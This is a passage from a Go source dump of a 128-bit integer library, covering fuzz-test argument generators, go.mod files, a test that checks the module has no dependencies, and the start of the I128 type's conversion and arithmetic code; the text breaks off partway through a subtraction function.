fmt.Errorf("|128(%s) - big(%s)| = %s, > %s", r1, b1, 1345 | cleanFloatStr(fmt.Sprintf("%s", diff)), 1346 | cleanFloatStr(fmt.Sprintf("%.20f", floatDiffLimit))) 1347 | } 1348 | } 1349 | return nil 1350 | } 1351 | 1352 | // Bitwise operations on I128 are not supported: 1353 | func (f fuzzI128) And() error { return nil } 1354 | func (f fuzzI128) And64() error { return nil } 1355 | func (f fuzzI128) AndNot() error { return nil } 1356 | func (f fuzzI128) Or() error { return nil } 1357 | func (f fuzzI128) Or64() error { return nil } 1358 | func (f fuzzI128) Xor() error { return nil } 1359 | func (f fuzzI128) Xor64() error { return nil } 1360 | func (f fuzzI128) Lsh() error { return nil } 1361 | func (f fuzzI128) Rsh() error { return nil } 1362 | func (f fuzzI128) SetBit() error { return nil } 1363 | func (f fuzzI128) Bit() error { return nil } 1364 | func (f fuzzI128) BitLen() error { return nil } 1365 | func (f fuzzI128) Not() error { return nil } 1366 | func (f fuzzI128) RotateLeft() error { return nil } 1367 | 1368 | func (f fuzzI128) Neg() error { 1369 | b1 := f.source.BigI128() 1370 | u1 := accI128FromBigInt(b1) 1371 | 1372 | // overflow is possible if you negate minBig128 1373 | rb := simulateBigI128Overflow(new(big.Int).Neg(b1)) 1374 | 1375 | ru := u1.Neg() 1376 | return checkEqualI128("neg", ru, rb) 1377 | } 1378 | 1379 | func (f fuzzI128) BinBE() error { 1380 | // Nothing to do 1381 | return nil 1382 | } 1383 | 1384 | func (f fuzzI128) BinLE() error { 1385 | // Nothing to do 1386 | return nil 1387 | } 1388 | 1389 | func (f fuzzI128) String() error { 1390 | b1 := f.source.BigI128() 1391 | i1 := accI128FromBigInt(b1) 1392 | return checkEqualString(i1, b1) 1393 | } 1394 | 1395 | // NEWOP: func (f fuzzI128) ...() error {} 1396 | 1397 | type bigGenKind int 1398 | 1399 | const ( 1400 | bigGenZero bigGenKind = 0 1401 | bigGenBits bigGenKind = 1 1402 | bigGenSame bigGenKind = 2 1403 | bigGenFixed bigGenKind = 3 1404 | ) 1405 | 1406 | type bigU128Gen struct { 1407 | kind bigGenKind 1408 | bits int 1409 | fixed *big.Int 1410 | } 1411 | 1412 | func (gen bigU128Gen) Value(r *rando) (v *big.Int) { 1413 | switch gen.kind { 1414 | case bigGenZero: 1415 | v = new(big.Int) 1416 | 1417 | case bigGenBits: 1418 | v = new(big.Int) 1419 | if gen.bits <= 0 || gen.bits > 128 { 1420 | panic("misconfigured bits") 1421 | } else if gen.bits <= 64 { 1422 | v = v.Rand(r.rng, maxBigUint64) 1423 | } else { 1424 | v = v.Rand(r.rng, maxBigU128) 1425 | } 1426 | idx := gen.bits - 1 1427 | v.And(v, masks[idx]) 1428 | v.SetBit(v, idx, 1) 1429 | 1430 | case bigGenSame: 1431 | oper := r.Operands() 1432 | v = oper[len(oper)-1] 1433 | 1434 | case bigGenFixed: 1435 | v = new(big.Int) 1436 | v.Set(gen.fixed) 1437 | 1438 | default: 1439 | panic("unknown gen kind") 1440 | } 1441 | 1442 | r.operands = append(r.operands, v) 1443 | 1444 | return v 1445 | } 1446 | 1447 | type bigI128Gen struct { 1448 | kind bigGenKind 1449 | bits int 1450 | neg bool 1451 | fixed *big.Int 1452 | } 1453 | 1454 | func (gen bigI128Gen) Value(r *rando) (v *big.Int) { 1455 | switch gen.kind { 1456 | case bigGenZero: 1457 | v = new(big.Int) 1458 | 1459 | case bigGenBits: 1460 | v = new(big.Int) 1461 | if gen.bits <= 0 || gen.bits > 127 { // 128th bit is set aside for the sign 1462 | panic("misconfigured bits") 1463 | } else if gen.bits <= 64 { 1464 | v = v.Rand(r.rng, maxBigUint64) 1465 | } else { 1466 | v = v.Rand(r.rng, maxBigU128) 1467 | } 1468 | idx := gen.bits - 1 1469 | v.And(v, masks[idx]) 1470 | v.SetBit(v, idx, 1) 1471 | if gen.neg { 1472 | v.Neg(v) 1473 | } 1474 | 1475 | case bigGenSame: 1476 | oper := r.Operands() 1477 | v = oper[len(oper)-1] 1478 | 1479 | case bigGenFixed: 1480 | v = new(big.Int) 1481 | v.Set(gen.fixed) 1482 | 1483 | default: 1484 | panic("unknown gen kind") 1485 | } 1486 | 1487 | r.operands = append(r.operands, v) 1488 | 1489 | return v 1490 | } 1491 | 1492 | type bigU128AndBitSizeGen struct { 1493 | u128 bigU128Gen 1494 | shift uint // 0 to 128 1495 | } 1496 | 1497 | func (gen bigU128AndBitSizeGen) Values(r *rando) (v *big.Int, shift uint) { 1498 | val := gen.u128.Value(r) 1499 | r.operands = append(r.operands, val) 1500 | return val, gen.shift 1501 | } 1502 | 1503 | type bigU128AndBitSizeAndBitValueGen struct { 1504 | u128 bigU128Gen 1505 | shift uint // 0 to 127 1506 | value bool // 0 or 1 1507 | } 1508 | 1509 | func (gen bigU128AndBitSizeAndBitValueGen) Values(r *rando) (v *big.Int, shift uint, value bool) { 1510 | return gen.u128.Value(r), gen.shift, gen.value 1511 | } 1512 | 1513 | // rando provides schemes for argument generation with heuristics that try to 1514 | // ensure coverage of the differences that matter. 1515 | // 1516 | // classic rando! 1517 | type rando struct { 1518 | operands []*big.Int 1519 | rng *rand.Rand 1520 | 1521 | bigU128Schemes []bigU128Gen 1522 | bigU128Cur int 1523 | 1524 | bigI128Schemes []bigI128Gen 1525 | bigI128Cur int 1526 | 1527 | bigU128x2Schemes [][2]bigU128Gen 1528 | bigU128x2Cur int 1529 | 1530 | bigI128x2Schemes [][2]bigI128Gen 1531 | bigI128x2Cur int 1532 | 1533 | bigU128And64Schemes [][2]bigU128Gen 1534 | bigU128And64Cur int 1535 | 1536 | bigI128And64Schemes [][2]bigI128Gen 1537 | bigI128And64Cur int 1538 | 1539 | bigU128AndBitSizeSchemes []bigU128AndBitSizeGen 1540 | bigU128AndBitSizeCur int 1541 | 1542 | bigU128AndBitSizeAndBitValueSchemes []bigU128AndBitSizeAndBitValueGen 1543 | bigU128AndBitSizeAndBitValueCur int 1544 | 1545 | // This test has run; subsequent rando requests should fail until NewTest 1546 | // is called again: 1547 | testHasRun bool 1548 | } 1549 | 1550 | func newRando(rng *rand.Rand) *rando { 1551 | // Number of times to repeat the "both arguments identical" test for schemes 1552 | // that have two of the same kind of argument. 1553 | // 1554 | // We need this because the chance of even two random 128-bit operands being 1555 | // the same is unfathomable. 1556 | samesies := 5 1557 | 1558 | r := &rando{ // classic rando! 1559 | rng: rng, 1560 | } 1561 | 1562 | { // build bigU128Schemes 1563 | r.bigU128Schemes = []bigU128Gen{ 1564 | bigU128Gen{kind: bigGenZero}, 1565 | bigU128Gen{kind: bigGenFixed, fixed: maxBigUint64}, 1566 | bigU128Gen{kind: bigGenFixed, fixed: maxBigU128}, 1567 | } 1568 | for i := 1; i <= 128; i++ { 1569 | r.bigU128Schemes = append(r.bigU128Schemes, bigU128Gen{kind: bigGenBits, bits: i}) 1570 | } 1571 | } 1572 | 1573 | { // build bigU128AndBitSizeSchemes 1574 | for _, u := range r.bigU128Schemes { 1575 | for shift := uint(0); shift < 128; shift++ { 1576 | r.bigU128AndBitSizeSchemes = append( 1577 | r.bigU128AndBitSizeSchemes, bigU128AndBitSizeGen{u128: u, shift: shift}) 1578 | } 1579 | } 1580 | } 1581 | 1582 | { // build bigU128AndBitSizeAndBitValueSchemes 1583 | for _, u := range r.bigU128Schemes { 1584 | for shift := uint(0); shift < 128; shift++ { 1585 | for value := 0; value < 2; value++ { 1586 | r.bigU128AndBitSizeAndBitValueSchemes = append( 1587 | r.bigU128AndBitSizeAndBitValueSchemes, bigU128AndBitSizeAndBitValueGen{u128: u, shift: shift, value: value == 1}) 1588 | } 1589 | } 1590 | } 1591 | } 1592 | 1593 | { // build bigU128x2Schemes 1594 | for _, u1 := range r.bigU128Schemes { 1595 | for _, u2 := range r.bigU128Schemes { 1596 | r.bigU128x2Schemes = append(r.bigU128x2Schemes, [2]bigU128Gen{u1, u2}) 1597 | } 1598 | for i := 0; i < samesies; i++ { 1599 | r.bigU128x2Schemes = append(r.bigU128x2Schemes, [2]bigU128Gen{u1, bigU128Gen{kind: bigGenSame}}) 1600 | } 1601 | } 1602 | } 1603 | 1604 | { // build bigU128And64Schemes 1605 | bigU64Schemes := []bigU128Gen{ 1606 | bigU128Gen{kind: bigGenZero}, 1607 | bigU128Gen{kind: bigGenFixed, fixed: maxBigUint64}, 1608 | } 1609 | for i := 1; i <= 64; i++ { 1610 | bigU64Schemes = append(bigU64Schemes, bigU128Gen{kind: bigGenBits, bits: i}) 1611 | } 1612 | for _, u1 := range r.bigU128Schemes { 1613 | for _, u2 := range bigU64Schemes { 1614 | r.bigU128And64Schemes = append(r.bigU128And64Schemes, [2]bigU128Gen{u1, u2}) 1615 | } 1616 | 1617 | // FIXME: Samesies doesn't work here due to bit size mismatches: 1618 | // for i := 0; i < samesies; i++ { 1619 | // r.bigU128And64Schemes = append(r.bigU128And64Schemes, [2]bigU128Gen{u1, bigU128Gen{kind: bigGenSame}}) 1620 | // } 1621 | } 1622 | } 1623 | 1624 | { // build bigI128Schemes 1625 | r.bigI128Schemes = []bigI128Gen{ 1626 | bigI128Gen{kind: bigGenZero}, 1627 | bigI128Gen{kind: bigGenFixed, fixed: maxBigInt64}, 1628 | bigI128Gen{kind: bigGenFixed, fixed: minBigInt64}, 1629 | } 1630 | for i := 1; i <= 127; i++ { 1631 | for n := 0; n < 2; n++ { 1632 | r.bigI128Schemes = append(r.bigI128Schemes, bigI128Gen{kind: bigGenBits, bits: i, neg: n == 0}) 1633 | } 1634 | } 1635 | } 1636 | 1637 | { // build bigI128x2Schemes 1638 | for _, u1 := range r.bigI128Schemes { 1639 | for _, u2 := range r.bigI128Schemes { 1640 | r.bigI128x2Schemes = append(r.bigI128x2Schemes, [2]bigI128Gen{u1, u2}) 1641 | } 1642 | for i := 0; i < samesies; i++ { 1643 | r.bigI128x2Schemes = append(r.bigI128x2Schemes, [2]bigI128Gen{u1, bigI128Gen{kind: bigGenSame}}) 1644 | } 1645 | } 1646 | } 1647 | 1648 | { // build bigI128And64Schemes 1649 | bigI64Schemes := []bigI128Gen{ 1650 | bigI128Gen{kind: bigGenZero}, 1651 | bigI128Gen{kind: bigGenFixed, fixed: maxBigInt64}, 1652 | bigI128Gen{kind: bigGenFixed, fixed: minBigInt64}, 1653 | } 1654 | for i := 1; i <= 63; i++ { 1655 | for n := 0; n < 2; n++ { 1656 | bigI64Schemes = append(bigI64Schemes, bigI128Gen{kind: bigGenBits, bits: i, neg: n == 0}) 1657 | } 1658 | } 1659 | for _, u1 := range r.bigI128Schemes { 1660 | for _, u2 := range bigI64Schemes { 1661 | r.bigI128And64Schemes = append(r.bigI128And64Schemes, [2]bigI128Gen{u1, u2}) 1662 | } 1663 | 1664 | // FIXME: Samesies doesn't work here due to bit size mismatches: 1665 | // for i := 0; i < samesies; i++ { 1666 | // r.bigI128And64Schemes = append(r.bigI128And64Schemes, [2]bigI128Gen{u1, bigI128Gen{kind: bigGenSame}}) 1667 | // } 1668 | } 1669 | } 1670 | 1671 | return r 1672 | } 1673 | 1674 | func (r *rando) Operands() []*big.Int { return r.operands } 1675 | 1676 | func (r *rando) NextOp(op fuzzOp, configuredIterations int) (opIterations int) { 1677 | r.bigU128x2Cur = 0 1678 | r.bigU128Cur = 0 1679 | r.bigI128x2Cur = 0 1680 | r.bigI128Cur = 0 1681 | r.bigU128AndBitSizeCur = 0 1682 | r.bigU128AndBitSizeAndBitValueCur = 0 1683 | return configuredIterations 1684 | } 1685 | 1686 | func (r *rando) NextTest() { 1687 | r.testHasRun = false 1688 | for i := range r.operands { 1689 | r.operands[i] = nil 1690 | } 1691 | r.operands = r.operands[:0] 1692 | } 1693 | 1694 | func (r *rando) ensureOnePerTest() { 1695 | if r.testHasRun { 1696 | panic("may only call source once per test") 1697 | } 1698 | r.testHasRun = true 1699 | } 1700 | 1701 | func (r *rando) BigU128x2() (b1, b2 *big.Int) { 1702 | r.ensureOnePerTest() 1703 | 1704 | schemes := r.bigU128x2Schemes[r.bigU128x2Cur] 1705 | r.bigU128x2Cur++ 1706 | if r.bigU128x2Cur >= len(r.bigU128x2Schemes) { 1707 | r.bigU128x2Cur = 0 1708 | } 1709 | return schemes[0].Value(r), schemes[1].Value(r) 1710 | } 1711 | 1712 | func (r *rando) BigI128x2() (b1, b2 *big.Int) { 1713 | r.ensureOnePerTest() 1714 | 1715 | schemes := r.bigI128x2Schemes[r.bigI128x2Cur] 1716 | r.bigI128x2Cur++ 1717 | if r.bigI128x2Cur >= len(r.bigI128x2Schemes) { 1718 | r.bigI128x2Cur = 0 1719 | } 1720 | return schemes[0].Value(r), schemes[1].Value(r) 1721 | } 1722 | 1723 | func (r *rando) BigU128And64() (b1, b2 *big.Int) { 1724 | r.ensureOnePerTest() 1725 | 1726 | schemes := r.bigU128And64Schemes[r.bigU128And64Cur] 1727 | r.bigU128And64Cur++ 1728 | if r.bigU128And64Cur >= len(r.bigU128And64Schemes) { 1729 | r.bigU128And64Cur = 0 1730 | } 1731 | return schemes[0].Value(r), schemes[1].Value(r) 1732 | } 1733 | 1734 | func (r *rando) BigI128And64() (b1, b2 *big.Int) { 1735 | r.ensureOnePerTest() 1736 | 1737 | schemes := r.bigI128And64Schemes[r.bigI128And64Cur] 1738 | r.bigI128And64Cur++ 1739 | if r.bigI128And64Cur >= len(r.bigI128And64Schemes) { 1740 | r.bigI128And64Cur = 0 1741 | } 1742 | return schemes[0].Value(r), schemes[1].Value(r) 1743 | } 1744 | 1745 | func (r *rando) BigU128AndBitSize() (*big.Int, uint) { 1746 | r.ensureOnePerTest() 1747 | 1748 | scheme := r.bigU128AndBitSizeSchemes[r.bigU128AndBitSizeCur] 1749 | r.bigU128AndBitSizeCur++ 1750 | if r.bigU128AndBitSizeCur >= len(r.bigU128AndBitSizeSchemes) { 1751 | r.bigU128AndBitSizeCur = 0 1752 | } 1753 | return scheme.Values(r) 1754 | } 1755 | 1756 | func (r *rando) BigU128AndBitSizeAndBitValue() (*big.Int, uint, bool) { 1757 | r.ensureOnePerTest() 1758 | 1759 | scheme := r.bigU128AndBitSizeAndBitValueSchemes[r.bigU128AndBitSizeAndBitValueCur] 1760 | r.bigU128AndBitSizeAndBitValueCur++ 1761 | if r.bigU128AndBitSizeAndBitValueCur >= len(r.bigU128AndBitSizeAndBitValueSchemes) { 1762 | r.bigU128AndBitSizeAndBitValueCur = 0 1763 | } 1764 | return scheme.Values(r) 1765 | } 1766 | 1767 | func (r *rando) BigI128() *big.Int { 1768 | r.ensureOnePerTest() 1769 | scheme := r.bigI128Schemes[r.bigI128Cur] 1770 | r.bigI128Cur++ 1771 | if r.bigI128Cur >= len(r.bigI128Schemes) { 1772 | r.bigI128Cur = 0 1773 | } 1774 | return scheme.Value(r) 1775 | } 1776 | 1777 | func (r *rando) BigU128() *big.Int { 1778 | r.ensureOnePerTest() 1779 | scheme := r.bigU128Schemes[r.bigU128Cur] 1780 | r.bigU128Cur++ 1781 | if r.bigU128Cur >= len(r.bigU128Schemes) { 1782 | r.bigU128Cur = 0 1783 | } 1784 | return scheme.Value(r) 1785 | } 1786 | 1787 | // masks contains a pre-calculated set of 128-bit masks for use when generating 1788 | // random U128s/I128s. It's used to ensure we generate an even distribution of 1789 | // bit sizes. 1790 | var masks [128]*big.Int 1791 | 1792 | func init() { 1793 | for i := 0; i < 128; i++ { 1794 | bi := new(big.Int) 1795 | for b := 0; b <= i; b++ { 1796 | bi.SetBit(bi, b, 1) 1797 | } 1798 | masks[i] = bi 1799 | } 1800 | } 1801 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | // Deprecated: see README on Github 2 | module github.com/lightcapitu/go-num 3 | 4 | go 1.15 5 | -------------------------------------------------------------------------------- /go.mod.fix: -------------------------------------------------------------------------------- 1 | module github.com/lightcapitu/go-num 2 | 3 | go 1.15 4 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightcapitu/go-num/2ad18a5b4fad71215e973b92fd4e91d652700877/go.sum -------------------------------------------------------------------------------- /go_test.go: -------------------------------------------------------------------------------- 1 | package num_test 2 | 3 | import ( 4 | "bytes" 5 | "io/ioutil" 6 | "os" 7 | "testing" 8 | ) 9 | 10 | func TestNoDeps(t *testing.T) { 11 | if os.Getenv("CMDY_SKIP_MOD") != "" { 12 | // Use this to avoid this check if you need to use spew.Dump in tests: 13 | t.Skip() 14 | } 15 | 16 | fix, err := ioutil.ReadFile("go.mod.fix") 17 | if err != nil { 18 | panic(err) 19 | } 20 | 21 | { 22 | bts, err := ioutil.ReadFile("go.mod") 23 | if err != nil { 24 | t.Fatal(err) 25 | } 26 | if !bytes.Equal(fixNL(fix), fixNL(bts)) { 27 | t.Fatal("go.mod contains unexpected content:\n" + string(bts)) 28 | } 29 | } 30 | 31 | { 32 | bts, err := ioutil.ReadFile("go.sum") 33 | if err != nil { 34 | t.Fatal(err) 35 | } 36 | if len(bts) != 0 { 37 | t.Fatal("go.sum contains unexpected content") 38 | } 39 | } 40 | } 41 | 42 | func fixNL(d []byte) []byte { 43 | d = bytes.Replace(d, []byte{13, 10}, []byte{10}, -1) 44 | d = bytes.Replace(d, []byte{13}, []byte{10}, -1) 45 | return d 46 | } 47 | -------------------------------------------------------------------------------- /i128.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "fmt" 5 | "math/big" 6 | "math/bits" 7 | ) 8 | 9 | const ( 10 | signBit = 0x8000000000000000 11 | ) 12 | 13 | type I128 struct { 14 | hi uint64 15 | lo uint64 16 | } 17 | 18 | // I128FromRaw is the complement to I128.Raw(); it creates an I128 from two 19 | // uint64s representing the hi and lo bits. 20 | func I128FromRaw(hi, lo uint64) I128 { return I128{hi: hi, lo: lo} } 21 | 22 | func I128From64(v int64) (out I128) { 23 | // There's a no-branch way of calculating this: 24 | // out.lo = uint64(v) 25 | // out.hi = ^((out.lo >> 63) + maxUint64) 26 | // 27 | // There may be a better one than that, but that's the one I found. Bogus 28 | // microbenchmarks on an i7-3820 and an i7-6770HQ showed it may possibly be 29 | // slightly faster, but at huge cost to the inliner. The no-branch 30 | // version eats 20 more points out of Go 1.12's inlining budget of 80 than 31 | // the 'if v < 0' verson, which is probably worse overall. 32 | 33 | var hi uint64 34 | if v < 0 { 35 | hi = maxUint64 36 | } 37 | return I128{hi: hi, lo: uint64(v)} 38 | } 39 | 40 | func I128From32(v int32) I128 { return I128From64(int64(v)) } 41 | func I128From16(v int16) I128 { return I128From64(int64(v)) } 42 | func I128From8(v int8) I128 { return I128From64(int64(v)) } 43 | func I128FromInt(v int) I128 { return I128From64(int64(v)) } 44 | func I128FromU64(v uint64) I128 { return I128{lo: v} } 45 | 46 | // I128FromString creates a I128 from a string. Overflow truncates to 47 | // MaxI128/MinI128 and sets accurate to 'false'. Only decimal strings are 48 | // currently supported. 49 | func I128FromString(s string) (out I128, accurate bool, err error) { 50 | // This deliberately limits the scope of what we accept as input just in case 51 | // we decide to hand-roll our own fast decimal-only parser: 52 | b, ok := new(big.Int).SetString(s, 10) 53 | if !ok { 54 | return out, false, fmt.Errorf("num: i128 string %q invalid", s) 55 | } 56 | out, accurate = I128FromBigInt(b) 57 | return out, accurate, nil 58 | } 59 | 60 | func MustI128FromString(s string) I128 { 61 | out, inRange, err := I128FromString(s) 62 | if err != nil { 63 | panic(err) 64 | } 65 | if !inRange { 66 | panic(fmt.Errorf("num: string %q was not in valid I128 range", s)) 67 | } 68 | return out 69 | } 70 | 71 | var ( 72 | minI128AsAbsU128 = U128{hi: 0x8000000000000000, lo: 0} 73 | maxI128AsU128 = U128{hi: 0x7FFFFFFFFFFFFFFF, lo: 0xFFFFFFFFFFFFFFFF} 74 | ) 75 | 76 | func I128FromBigInt(v *big.Int) (out I128, accurate bool) { 77 | neg := v.Sign() < 0 78 | 79 | words := v.Bits() 80 | 81 | var u U128 82 | accurate = true 83 | 84 | switch intSize { 85 | case 64: 86 | lw := len(words) 87 | switch lw { 88 | case 0: 89 | case 1: 90 | u.lo = uint64(words[0]) 91 | case 2: 92 | u.hi = uint64(words[1]) 93 | u.lo = uint64(words[0]) 94 | default: 95 | u, accurate = MaxU128, false 96 | } 97 | 98 | case 32: 99 | lw := len(words) 100 | switch lw { 101 | case 0: 102 | case 1: 103 | u.lo = uint64(words[0]) 104 | case 2: 105 | u.lo = (uint64(words[1]) << 32) | (uint64(words[0])) 106 | case 3: 107 | u.hi = uint64(words[2]) 108 | u.lo = (uint64(words[1]) << 32) | (uint64(words[0])) 109 | case 4: 110 | u.hi = (uint64(words[3]) << 32) | (uint64(words[2])) 111 | u.lo = (uint64(words[1]) << 32) | (uint64(words[0])) 112 | default: 113 | u, accurate = MaxU128, false 114 | } 115 | 116 | default: 117 | panic("num: unsupported bit size") 118 | } 119 | 120 | if !neg { 121 | if cmp := u.Cmp(maxI128AsU128); cmp == 0 { 122 | out = MaxI128 123 | } else if cmp > 0 { 124 | out, accurate = MaxI128, false 125 | } else { 126 | out = u.AsI128() 127 | } 128 | 129 | } else { 130 | if cmp := u.Cmp(minI128AsAbsU128); cmp == 0 { 131 | out = MinI128 132 | } else if cmp > 0 { 133 | out, accurate = MinI128, false 134 | } else { 135 | out = u.AsI128().Neg() 136 | } 137 | } 138 | 139 | return out, accurate 140 | } 141 | 142 | func MustI128FromBigInt(b *big.Int) I128 { 143 | out, inRange := I128FromBigInt(b) 144 | if !inRange { 145 | panic(fmt.Errorf("num: big.Int %d was not in valid I128 range", b)) 146 | } 147 | return out 148 | } 149 | 150 | func I128FromFloat32(f float32) (out I128, inRange bool) { 151 | return I128FromFloat64(float64(f)) 152 | } 153 | 154 | func MustI128FromFloat32(f float32) I128 { 155 | out, inRange := I128FromFloat32(f) 156 | if !inRange { 157 | panic(fmt.Errorf("num: float32 %f was not in valid I128 range", f)) 158 | } 159 | return out 160 | } 161 | 162 | // I128FromFloat64 creates a I128 from a float64. 163 | // 164 | // Any fractional portion will be truncated towards zero. 165 | // 166 | // Floats outside the bounds of a I128 may be discarded or clamped and inRange 167 | // will be set to false. 168 | // 169 | // NaN is treated as 0, inRange is set to false. This may change to a panic 170 | // at some point. 171 | func I128FromFloat64(f float64) (out I128, inRange bool) { 172 | const spillPos = float64(maxUint64) // (1<<64) - 1 173 | const spillNeg = -float64(maxUint64) - 1 174 | 175 | if f == 0 { 176 | return out, true 177 | 178 | } else if f != f { // f != f == isnan 179 | return out, false 180 | 181 | } else if f < 0 { 182 | if f >= spillNeg { 183 | return I128{hi: maxUint64, lo: uint64(f)}, true 184 | } else if f >= minI128Float { 185 | f = -f 186 | lo := modpos(f, wrapUint64Float) // f is guaranteed to be < 0 here. 187 | return I128{hi: ^uint64(f / wrapUint64Float), lo: ^uint64(lo)}, true 188 | } else { 189 | return MinI128, false 190 | } 191 | 192 | } else { 193 | if f <= spillPos { 194 | return I128{lo: uint64(f)}, true 195 | } else if f <= maxI128Float { 196 | lo := modpos(f, wrapUint64Float) // f is guaranteed to be > 0 here. 197 | return I128{hi: uint64(f / wrapUint64Float), lo: uint64(lo)}, true 198 | } else { 199 | return MaxI128, false 200 | } 201 | } 202 | } 203 | 204 | func MustI128FromFloat64(f float64) I128 { 205 | out, inRange := I128FromFloat64(f) 206 | if !inRange { 207 | panic(fmt.Errorf("num: float64 %f was not in valid I128 range", f)) 208 | } 209 | return out 210 | } 211 | 212 | // RandI128 generates a positive signed 128-bit random integer from an external 213 | // source. 214 | func RandI128(source RandSource) (out I128) { 215 | return I128{hi: source.Uint64() & maxInt64, lo: source.Uint64()} 216 | } 217 | 218 | func (i I128) IsZero() bool { return i.lo == 0 && i.hi == 0 } 219 | 220 | // Raw returns access to the I128 as a pair of uint64s. See I128FromRaw() for 221 | // the counterpart. 222 | func (i I128) Raw() (hi uint64, lo uint64) { return i.hi, i.lo } 223 | 224 | func (i I128) String() string { 225 | // FIXME: This is good enough for now, but not forever. 226 | v := i.AsBigInt() 227 | return v.String() 228 | } 229 | 230 | func (i *I128) Scan(state fmt.ScanState, verb rune) error { 231 | t, err := state.Token(true, nil) 232 | if err != nil { 233 | return err 234 | } 235 | ts := string(t) 236 | 237 | v, inRange, err := I128FromString(ts) 238 | if err != nil { 239 | return err 240 | } else if !inRange { 241 | return fmt.Errorf("num: i128 value %q is not in range", ts) 242 | } 243 | *i = v 244 | 245 | return nil 246 | } 247 | 248 | func (i I128) Format(s fmt.State, c rune) { 249 | // FIXME: This is good enough for now, but not forever. 250 | i.AsBigInt().Format(s, c) 251 | } 252 | 253 | // IntoBigInt copies this I128 into a big.Int, allowing you to retain and 254 | // recycle memory. 255 | func (i I128) IntoBigInt(b *big.Int) { 256 | neg := i.hi&signBit != 0 257 | if i.hi > 0 { 258 | b.SetUint64(i.hi) 259 | b.Lsh(b, 64) 260 | } 261 | var lo big.Int 262 | lo.SetUint64(i.lo) 263 | b.Add(b, &lo) 264 | 265 | if neg { 266 | b.Xor(b, maxBigU128).Add(b, big1).Neg(b) 267 | } 268 | } 269 | 270 | // AsBigInt allocates a new big.Int and copies this I128 into it. 271 | func (i I128) AsBigInt() (b *big.Int) { 272 | b = new(big.Int) 273 | neg := i.hi&signBit != 0 274 | if i.hi > 0 { 275 | b.SetUint64(i.hi) 276 | b.Lsh(b, 64) 277 | } 278 | var lo big.Int 279 | lo.SetUint64(i.lo) 280 | b.Add(b, &lo) 281 | 282 | if neg { 283 | b.Xor(b, maxBigU128).Add(b, big1).Neg(b) 284 | } 285 | 286 | return b 287 | } 288 | 289 | // AsU128 performs a direct cast of an I128 to a U128. Negative numbers 290 | // become values > math.MaxI128. 291 | func (i I128) AsU128() U128 { 292 | return U128{lo: i.lo, hi: i.hi} 293 | } 294 | 295 | // IsU128 reports wehether i can be represented in a U128. 296 | func (i I128) IsU128() bool { 297 | return i.hi&signBit == 0 298 | } 299 | 300 | func (i I128) AsBigFloat() (b *big.Float) { 301 | return new(big.Float).SetInt(i.AsBigInt()) 302 | } 303 | 304 | func (i I128) AsFloat64() float64 { 305 | if i.hi == 0 { 306 | if i.lo == 0 { 307 | return 0 308 | } else { 309 | return float64(i.lo) 310 | } 311 | } else if i.hi == maxUint64 { 312 | return -float64((^i.lo) + 1) 313 | } else if i.hi&signBit == 0 { 314 | return (float64(i.hi) * maxUint64Float) + float64(i.lo) 315 | } else { 316 | return (-float64(^i.hi) * maxUint64Float) + -float64(^i.lo) 317 | } 318 | } 319 | 320 | // AsInt64 truncates the I128 to fit in a int64. Values outside the range will 321 | // over/underflow. See IsInt64() if you want to check before you convert. 322 | func (i I128) AsInt64() int64 { 323 | if i.hi&signBit != 0 { 324 | return -int64(^(i.lo - 1)) 325 | } else { 326 | return int64(i.lo) 327 | } 328 | } 329 | 330 | // IsInt64 reports whether i can be represented as a int64. 331 | func (i I128) IsInt64() bool { 332 | if i.hi&signBit != 0 { 333 | return i.hi == maxUint64 && i.lo >= 0x8000000000000000 334 | } else { 335 | return i.hi == 0 && i.lo <= maxInt64 336 | } 337 | } 338 | 339 | // MustInt64 converts i to a signed 64-bit integer if the conversion would succeed, and 340 | // panics if it would not. 341 | func (i I128) MustInt64() int64 { 342 | if i.hi&signBit != 0 { 343 | if i.hi == maxUint64 && i.lo >= 0x8000000000000000 { 344 | return -int64(^(i.lo - 1)) 345 | } 346 | } else { 347 | if i.hi == 0 && i.lo <= maxInt64 { 348 | return int64(i.lo) 349 | } 350 | } 351 | panic(fmt.Errorf("I128 %v is not representable as an int64", i)) 352 | } 353 | 354 | // AsUint64 truncates the I128 to fit in a uint64. Values outside the range will 355 | // over/underflow. Signedness is discarded, as with the following conversion: 356 | // 357 | // var i int64 = -3 358 | // var u = uint32(i) 359 | // fmt.Printf("%x", u) 360 | // // fffffffd 361 | // 362 | // See IsUint64() if you want to check before you convert. 363 | func (i I128) AsUint64() uint64 { 364 | return i.lo 365 | } 366 | 367 | // AsUint64 truncates the I128 to fit in a uint64. Values outside the range will 368 | // over/underflow. See IsUint64() if you want to check before you convert. 369 | func (i I128) IsUint64() bool { 370 | return i.hi == 0 371 | } 372 | 373 | // MustUint64 converts i to an unsigned 64-bit integer if the conversion would succeed, 374 | // and panics if it would not. 375 | func (i I128) MustUint64() uint64 { 376 | if i.hi != 0 { 377 | panic(fmt.Errorf("I128 %v is not representable as a uint64", i)) 378 | } 379 | return i.lo 380 | } 381 | 382 | func (i I128) Sign() int { 383 | if i == zeroI128 { 384 | return 0 385 | } else if i.hi&signBit == 0 { 386 | return 1 387 | } 388 | return -1 389 | } 390 | 391 | func (i I128) Inc() (v I128) { 392 | v.lo = i.lo + 1 393 | v.hi = i.hi 394 | if i.lo > v.lo { 395 | v.hi++ 396 | } 397 | return v 398 | } 399 | 400 | func (i I128) Dec() (v I128) { 401 | v.lo = i.lo - 1 402 | v.hi = i.hi 403 | if i.lo < v.lo { 404 | v.hi-- 405 | } 406 | return v 407 | } 408 | 409 | func (i I128) Add(n I128) (v I128) { 410 | var carry uint64 411 | v.lo, carry = bits.Add64(i.lo, n.lo, 0) 412 | v.hi, _ = bits.Add64(i.hi, n.hi, carry) 413 | return v 414 | } 415 | 416 | func (i I128) Add64(n int64) (v I128) { 417 | var carry uint64 418 | v.lo, carry = bits.Add64(i.lo, uint64(n), 0) 419 | if n < 0 { 420 | v.hi = i.hi + maxUint64 + carry 421 | } else { 422 | v.hi = i.hi + carry 423 | } 424 | return v 425 | } 426 | 427 | func (i I128) Sub(n I128) (v I128) { 428 | var borrowed uint64 429 | v.lo, borrowed = bits.Sub64(i.lo, n.lo, 0) 430 | v.hi, _ = bits.Sub64(i.hi, n.hi, borrowed) 431 | return v 432 | } 433 | 434 | func (i I128) Sub64(n int64) (v I128) { 435 | var borrowed uint64 436 | if n < 0 { 437 | v.lo, borrowed = 